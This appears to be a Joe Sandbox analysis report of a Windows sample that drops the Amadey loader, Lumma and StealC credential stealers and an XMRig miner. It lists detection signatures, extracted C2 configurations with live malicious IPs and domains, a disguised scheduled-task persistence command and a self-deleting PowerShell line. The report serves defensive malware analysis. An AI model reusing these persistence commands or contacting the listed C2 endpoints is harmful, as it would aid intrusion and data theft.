31.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6508, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4fa13d4e43.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6508, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4fa13d4e43.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3628, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 1220, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3628, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 3128, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:32.855416+0100	2028371	3	Unknown Traffic	192.168.2.5	49877	23.55.153.106	443	TCP
2024-12-16T09:01:59.910180+0100	2028371	3	Unknown Traffic	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:02:01.920686+0100	2028371	3	Unknown Traffic	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:04.981062+0100	2028371	3	Unknown Traffic	192.168.2.5	49964	104.21.50.161	443	TCP
2024-12-16T09:02:07.859731+0100	2028371	3	Unknown Traffic	192.168.2.5	49970	104.21.50.161	443	TCP
2024-12-16T09:02:10.710084+0100	2028371	3	Unknown Traffic	192.168.2.5	49979	104.21.50.161	443	TCP
2024-12-16T09:02:14.941156+0100	2028371	3	Unknown Traffic	192.168.2.5	49993	104.21.50.161	443	TCP
2024-12-16T09:02:15.825384+0100	2028371	3	Unknown Traffic	192.168.2.5	49994	104.21.50.161	443	TCP
2024-12-16T09:02:18.328378+0100	2028371	3	Unknown Traffic	192.168.2.5	50000	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:00.635882+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:02:02.646382+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:16.820776+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49994	104.21.50.161	443	TCP
2024-12-16T09:02:19.077647+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50000	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:00.635882+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:02:16.820776+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49994	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:02.646382+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:19.077647+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50000	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:59.910180+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:02:01.920686+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:04.981062+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49964	104.21.50.161	443	TCP
2024-12-16T09:02:07.859731+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49970	104.21.50.161	443	TCP
2024-12-16T09:02:10.710084+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49979	104.21.50.161	443	TCP
2024-12-16T09:02:14.941156+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49993	104.21.50.161	443	TCP
2024-12-16T09:02:15.825384+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	49994	104.21.50.161	443	TCP
2024-12-16T09:02:18.328378+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.5	50000	104.21.50.161	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:20.483763+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49843	185.215.113.43	80	TCP
2024-12-16T09:01:27.346628+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49860	185.215.113.43	80	TCP
2024-12-16T09:01:39.805034+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49894	185.215.113.43	80	TCP
2024-12-16T09:01:52.078278+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49928	185.215.113.43	80	TCP
2024-12-16T09:02:00.401357+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49948	185.215.113.43	80	TCP
2024-12-16T09:02:08.972423+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49971	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:12.171677+0100	2054350	1	A Network Trojan was detected	192.168.2.5	49985	141.8.192.141	80	TCP
2024-12-16T09:02:13.933129+0100	2054350	1	A Network Trojan was detected	192.168.2.5	49991	141.8.192.141	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:30.155942+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.5	61922	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:30.377883+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.5	63730	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:29.699675+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.5	53011	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:29.933791+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.5	49543	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:30.998334+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.5	59263	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:30.594496+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.5	54870	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:29.175612+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.5	55182	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:58.294867+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.5	56331	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:29.471873+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.5	57556	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:11.615151+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49978	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:11.493928+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49978	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:11.944677+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49978	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:13.831264+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49978	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:12.280110+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49978	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:05.793167+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49964	104.21.50.161	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:02:10.950043+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49978	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:05.206496+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49805	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:19.148704+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49816	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:09.644301+0100	2803305	3	Unknown Traffic	192.168.2.5	49817	31.41.244.11	80	TCP
2024-12-16T09:01:22.575951+0100	2803305	3	Unknown Traffic	192.168.2.5	49849	31.41.244.11	80	TCP
2024-12-16T09:01:28.815592+0100	2803305	3	Unknown Traffic	192.168.2.5	49866	31.41.244.11	80	TCP
2024-12-16T09:01:41.254739+0100	2803305	3	Unknown Traffic	192.168.2.5	49900	31.41.244.11	80	TCP
2024-12-16T09:01:53.538447+0100	2803305	3	Unknown Traffic	192.168.2.5	49929	185.215.113.16	80	TCP
2024-12-16T09:02:02.149539+0100	2803305	3	Unknown Traffic	192.168.2.5	49952	185.215.113.16	80	TCP
2024-12-16T09:02:10.447203+0100	2803305	3	Unknown Traffic	192.168.2.5	49977	185.215.113.16	80	TCP
2024-12-16T09:02:13.045195+0100	2803305	3	Unknown Traffic	192.168.2.5	49986	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:01:33.637687+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49877	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://tacitglibbr.biz/pi	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz:443/api	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/o	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/d	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/.	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpku	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: f384e6dcaa.exe.3372.36.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["se-blurry.biz", "dwell-exclaim.biz", "drive-connect.cyou", "print-vexer.biz", "impend-differ.biz", "zinc-sneark.biz", "covery-mover.biz", "dare-curbys.biz", "formy-spill.biz"], "Build id": "FATE99--test"}
Source: 8b77671daf.exe.1048.45.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 55%			Perma Link
Source: file.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_1ad9765a-f

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.2876063230.000000000120A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2882047481.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2882218536.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.3242450223.0000000000E18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.3244488323.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.3244630924.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.3242450223.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2876063230.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 4112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 4080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 3592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 4336, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:50000 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	6_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	6_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00027978 FindFirstFileW,FindFirstFileW,free,	10_2_00027978
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002BD871 FindFirstFileExW,	23_2_002BD871
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002BD922 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_002BD922

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 10_2_0002881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

10_2_0002881C

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49805 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49816
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49843 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:55182 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:57556 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:55182 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:57556 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:53011 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:53011 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:49543 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.5:49543 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:61922 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.5:61922 -> 1.1.1.1:53
